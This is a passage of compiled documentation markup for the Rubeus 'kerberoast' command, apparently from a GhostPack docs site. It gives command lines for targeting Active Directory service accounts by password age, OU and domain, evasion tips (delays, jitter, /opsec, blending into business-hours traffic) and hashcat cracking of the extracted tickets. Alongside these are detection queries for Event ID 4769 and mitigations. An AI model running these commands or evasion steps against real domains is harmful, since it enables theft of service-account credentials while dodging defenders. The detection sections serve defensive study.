/pwdsetbefore:\"01/01/2022\"`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Service accounts with old passwords`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` kerberoast`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /ldapfilter:\"samaccountname=svc_*\"`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /pwdsetbefore:\"01/01/2023\"`})]}),`\n`]})})})}),_jsx(Expandable,{title:`Recently Changed`,children:_jsx(CodeBlock,{filename:``,numberOfLines:`5`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`5`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Recently changed passwords (may follow patterns)`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` kerberoast`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /pwdsetafter:\"01/01/2024\"`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Accounts changed in specific time window`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` kerberoast`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /pwdsetafter:\"06/01/2024\"`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /pwdsetbefore:\"08/01/2024\"`})]}),`\n`]})})})})]}),_jsxs(Tab,{title:`Organizational Targeting`,id:`organizational-targeting`,children:[_jsx(Expandable,{title:`Specific OUs`,children:_jsx(CodeBlock,{filename:``,numberOfLines:`5`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`5`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Service accounts OU`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` kerberoast`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /ou:\"OU=Service Accounts,DC=corp,DC=local\"`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Application-specific OUs`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` kerberoast`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /ou:\"OU=SQL Services,OU=Applications,DC=corp,DC=local\"`})]}),`\n`]})})})}),_jsx(Expandable,{title:`Cross-Domain`,children:_jsx(CodeBlock,{filename:``,numberOfLines:`5`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`5`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Target child domain`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` kerberoast`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /domain:child.corp.local`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Target specific domain controller`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` kerberoast`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /domain:corp.local`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /dc:dc01.corp.local`})]}),`\n`]})})})})]})]}),`\n`,_jsx(Heading,{level:`2`,id:`opsec-considerations`,children:`OPSEC Considerations`}),`\n`,_jsx(Warning,{children:_jsxs(_components.p,{children:[_jsx(_components.strong,{children:`Detection Risk`}),`: Kerberoasting generates TGS requests that can be monitored by security tools and may appear in domain controller logs.`]})}),`\n`,_jsxs(Tabs,{children:[_jsxs(Tab,{title:`Detection Vectors`,id:`detection-vectors`,children:[_jsxs(Expandable,{title:`Domain Controller Logs`,defaultOpen:true,children:[_jsxs(_components.p,{children:[_jsx(_components.strong,{children:`Event ID 4769`}),` - Kerberos TGS Request:`]}),_jsxs(_components.ul,{children:[`\n`,_jsx(_components.li,{children:`High volume of TGS requests from single source`}),`\n`,_jsx(_components.li,{children:`Requests for service accounts not typically accessed`}),`\n`,_jsx(_components.li,{children:`RC4 encryption requests in AES-only environments`}),`\n`,_jsx(_components.li,{children:`Requests for administrative service accounts`}),`\n`]})]}),_jsx(Expandable,{title:`Network Monitoring`,children:_jsxs(_components.ul,{children:[`\n`,_jsx(_components.li,{children:`Unusual Kerberos traffic patterns`}),`\n`,_jsx(_components.li,{children:`High frequency of TGS requests`}),`\n`,_jsx(_components.li,{children:`Traffic to domain controllers from non-standard sources`}),`\n`,_jsx(_components.li,{children:`LDAP queries for service principal names`}),`\n`]})}),_jsx(Expandable,{title:`Host-Based Detection`,children:_jsxs(_components.ul,{children:[`\n`,_jsx(_components.li,{children:`Processes making unusual Kerberos API calls`}),`\n`,_jsx(_components.li,{children:`Memory access patterns consistent with ticket extraction`}),`\n`,_jsx(_components.li,{children:`File creation in temp directories (hash output files)`}),`\n`,_jsx(_components.li,{children:`Execution of password cracking tools`}),`\n`]})})]}),_jsxs(Tab,{title:`Evasion Techniques`,id:`evasion-techniques`,children:[_jsx(Expandable,{title:`Timing and Volume`,defaultOpen:true,children:_jsx(CodeBlock,{filename:``,numberOfLines:`8`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`8`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Implement delays between requests`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` kerberoast`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /delay:10000`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /jitter:50`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Limit targeting to reduce noise`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` kerberoast`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /user:specific_target`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /opsec`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Spread operations over time`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` kerberoast`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /resultlimit:5`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /delay:30000`})]}),`\n`]})})})}),_jsx(Expandable,{title:`Request Patterns`,children:_jsx(CodeBlock,{filename:``,numberOfLines:`8`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`8`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Use legitimate business hours`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Schedule operations during 9-5 business hours`})}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Mimic normal authentication patterns`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Space requests to appear like normal service access`})}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Target during high activity periods`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Blend with legitimate authentication traffic`})}),`\n`]})})})}),_jsx(Expandable,{title:`Technical Evasion`,children:_jsx(CodeBlock,{filename:``,numberOfLines:`8`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`8`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Force AES encryption (less suspicious in modern environments)`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` kerberoast`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /aes`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Use specific domain controllers`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` kerberoast`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /dc:dc02.corp.local`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Limit LDAP queries`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` kerberoast`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /spn:\"MSSQLSvc/sql01.corp.local:1433\"`})]}),`\n`]})})})})]}),_jsxs(Tab,{title:`Defensive Countermeasures`,id:`defensive-countermeasures`,children:[_jsxs(Expandable,{title:`Detection Rules`,children:[_jsx(_components.p,{children:_jsx(_components.strong,{children:`SIEM Queries for Kerberoasting:`})}),_jsx(CodeBlock,{filename:``,numberOfLines:`12`,language:`sql`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`sql`,children:_jsxs(_components.code,{language:`sql`,numberOfLines:`12`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`-- High volume TGS requests`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#569CD6`},children:`SELECT`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:` *`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#569CD6`},children:` FROM`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` events`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#569CD6`},children:`WHERE`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` event_id `}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`=`}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#B5CEA8`},children:` 4769`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#569CD6`},children:`GROUP BY`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` source_ip`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#569CD6`},children:`HAVING`}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:` COUNT`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`(`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`) `}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`>`}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#B5CEA8`},children:` 50`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#569CD6`},children:`WITHIN`}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#B5CEA8`},children:` 1`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#569CD6`},children:` HOUR`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`-- RC4 requests for service accounts`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#569CD6`},children:`SELECT`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:` *`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#569CD6`},children:` FROM`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` events`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#569CD6`},children:`WHERE`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` event_id `}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`=`}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#B5CEA8`},children:` 4769`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#569CD6`},children:`AND`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#569CD6`},children:` encryption_type`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:` =`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` 'RC4'`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#569CD6`},children:`AND`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#569CD6`},children:` service_name`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#569CD6`},children:` LIKE`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` 'svc_%'`})]}),`\n`]})})})]}),_jsxs(Expandable,{title:`Mitigation Strategies`,children:[_jsx(_components.p,{children:_jsx(_components.strong,{children:`Organizational Controls:`})}),_jsxs(_components.ul,{children:[`\n`,_jsx(_components.li,{children:`Strong password policies for service accounts`}),`\n`,_jsx(_components.li,{children:`Regular password rotation schedules`}),`\n`,_jsx(_components.li,{children:`Managed Service Accounts (MSAs) where possible`}),`\n`,_jsx(_components.li,{children:`Least privilege access for service accounts`}),`\n`]}),_jsx(_components.p,{children:_jsx(_components.strong,{children:`Technical Controls:`})}),_jsxs(_components.ul,{children:[`\n`,_jsx(_components.li,{children:`Enable AES encryption for Kerberos`}),`\n`,_jsx(_components.li,{children:`Monitor TGS request patterns`}),`\n`,_jsx(_components.li,{children:`Implement service account monitoring`}),`\n`,_jsx(_components.li,{children:`Use Group Managed Service Accounts (gMSAs)`}),`\n`]})]})]})]}),`\n`,_jsx(Heading,{level:`2`,id:`troubleshooting`,children:`Troubleshooting`}),`\n`,_jsx(Expandable,{title:`Common Issues`,icon:`exclamation-triangle`,children:_jsxs(Tabs,{children:[_jsxs(Tab,{title:`No Results`,id:`no-results-2`,children:[_jsxs(_components.p,{children:[_jsx(_components.strong,{children:`Problem`}),`: No kerberoastable users found`]}),_jsxs(_components.p,{children:[_jsx(_components.strong,{children:`Solutions`}),`:`]}),_jsxs(_components.ul,{children:[`\n`,_jsx(_components.li,{children:`Verify LDAP connectivity to domain controllers`}),`\n`,_jsx(_components.li,{children:`Check user permissions for LDAP queries`}),`\n`,_jsx(_components.li,{children:`Confirm service accounts exist with SPNs`}),`\n`,_jsx(_components.li,{children:`Try broader LDAP filters`}),`\n`]}),_jsx(CodeBlock,{filename:``,numberOfLines:`5`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`5`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Test LDAP connectivity`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` kerberoast`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /stats`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Try different targeting`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` kerberoast`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /ldapfilter:\"serviceprincipalname=*\"`})]}),`\n`]})})})]}),_jsxs(Tab,{title:`Access Denied`,id:`access-denied`,children:[_jsxs(_components.p,{children:[_jsx(_components.strong,{children:`Problem`}),`: Insufficient permissions for operations`]}),_jsxs(_components.p,{children:[_jsx(_components.strong,{children:`Solutions`}),`:`]}),_jsxs(_components.ul,{children:[`\n`,_jsx(_components.li,{children:`Ensure valid domain authentication`}),`\n`,_jsx(_components.li,{children:`Check if account has LDAP query permissions`}),`\n`,_jsx(_components.li,{children:`Verify domain controller accessibility`}),`\n`,_jsx(_components.li,{children:`Try different domain controllers`}),`\n`]}),_jsx(CodeBlock,{filename:``,numberOfLines:`5`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`5`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Test with specific DC`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` kerberoast`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /dc:dc01.corp.local`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Verify current authentication`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` klist`})]}),`\n`]})})})]}),_jsxs(Tab,{title:`Cracking Issues`,id:`cracking-issues`,children:[_jsxs(_components.p,{children:[_jsx(_components.strong,{children:`Problem`}),`: Unable to crack extracted hashes`]}),_jsxs(_components.p,{children:[_jsx(_components.strong,{children:`Solutions`}),`:`]}),_jsxs(_components.ul,{children:[`\n`,_jsx(_components.li,{children:`Verify hash format compatibility`}),`\n`,_jsx(_components.li,{children:`Try different wordlists and rules`}),`\n`,_jsx(_components.li,{children:`Consider password complexity requirements`}),`\n`,_jsx(_components.li,{children:`Use appropriate hashcat modes`}),`\n`]}),_jsx(CodeBlock,{filename:``,numberOfLines:`5`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`5`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Verify hash format`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`head`}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#569CD6`},children:` -n`}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#B5CEA8`},children:` 1`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` hashes.txt`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Try different attack modes`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`hashcat`}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#569CD6`},children:` -m`}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#B5CEA8`},children:` 13100`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` hashes.txt`}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#569CD6`},children:` --show`}),_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:` # Show any already cracked`})]}),`\n`]})})})]})]})}),`\n`,_jsx(Heading,{level:`2`,id:`integration-with-other-tools`,children:`Integration with Other Tools`}),`\n`,_jsxs(CardGroup,{cols:2,children:[_jsx(Card,{title:`BloodHound Integration`,icon:`eye`,children:_jsx(_components.p,{children:`Use BloodHound to identify high-value service accounts before kerberoasting`})}),_jsx(Card,{title:`Hashcat/John`,icon:`hammer`,children:_jsx(_components.p,{children:`Process extracted hashes with dedicated password cracking tools`})}),_jsx(Card,{title:`Impacket Integration`,icon:`python`,children:_jsx(_components.p,{children:`Use GetUserSPNs.py for alternative SPN enumeration and targeting`})}),_jsx(Card,{title:`PowerView Integration`,icon:`powershell`,children:_jsx(_components.p,{children:`Combine with PowerView for enhanced Active Directory reconnaissance`})})]}),`\n`,_jsx(Heading,{level:`2`,id:`related-commands`,children:`Related Commands`}),`\n`,_jsxs(CardGroup,{cols:2,children:[_jsx(Card,{title:`asreproast`,icon:`fire`,href:`/ghostpack-docs/Rubeus-mdx/commands/roasting/asreproast`,children:_jsx(_components.p,{children:`Alternative credential attack for accounts without pre-auth`})}),_jsx(Card,{title:`asktgt`,icon:`ticket`,href:`/ghostpack-docs/Rubeus-mdx/commands/ticket-requests/asktgt`,children:_jsx(_components.p,{children:`Use cracked credentials to request TGTs`})}),_jsx(Card,{title:`s4u`,icon:`share`,href:`/ghostpack-docs/Rubeus-mdx/commands/delegation/s4u`,children:_jsx(_components.p,{children:`Abuse service accounts with delegation rights`})}),_jsx(Card,{title:`silver`,icon:`medal`,href:`/ghostpack-docs/Rubeus-mdx/commands/forgery/silver`,children:_jsx(_components.p,{children:`Create silver tickets with compromised service accounts`})})]})]})}function MDXContent(props={}){const{wrapper:MDXLayout}={..._provideComponents(),...props.components};return MDXLayout?_jsx(MDXLayout,{...props,children:_jsx(_createMdxContent,{...props})}):_createMdxContent(props)}return{default:MDXContent};function _missingMdxReference(id,component){throw new Error(`Expected `+(component?`component`:`object`)+\" `\"+id+\"` to be defined: you likely forgot to import, pass, or provide it.\")}","frontmatter":{},"scope":{"config":{},"pageMetadata":{"title":"kerberoast","description":"Perform Kerberoasting attacks to extract service account credentials","icon":"fire","sidebarTitle":"kerberoast","href":"/ghostpack-docs/Rubeus-mdx/commands/roasting/kerberoast","hidden":false}}},"mdxSourceWithNoJs":null},"mdxExtracts":{"tableOfContents":[{"title":"Overview","slug":"overview","depth":2,"children":[]},{"title":"Attack Methodology","slug":"attack-methodology","depth":2,"children":[]},{"title":"Syntax 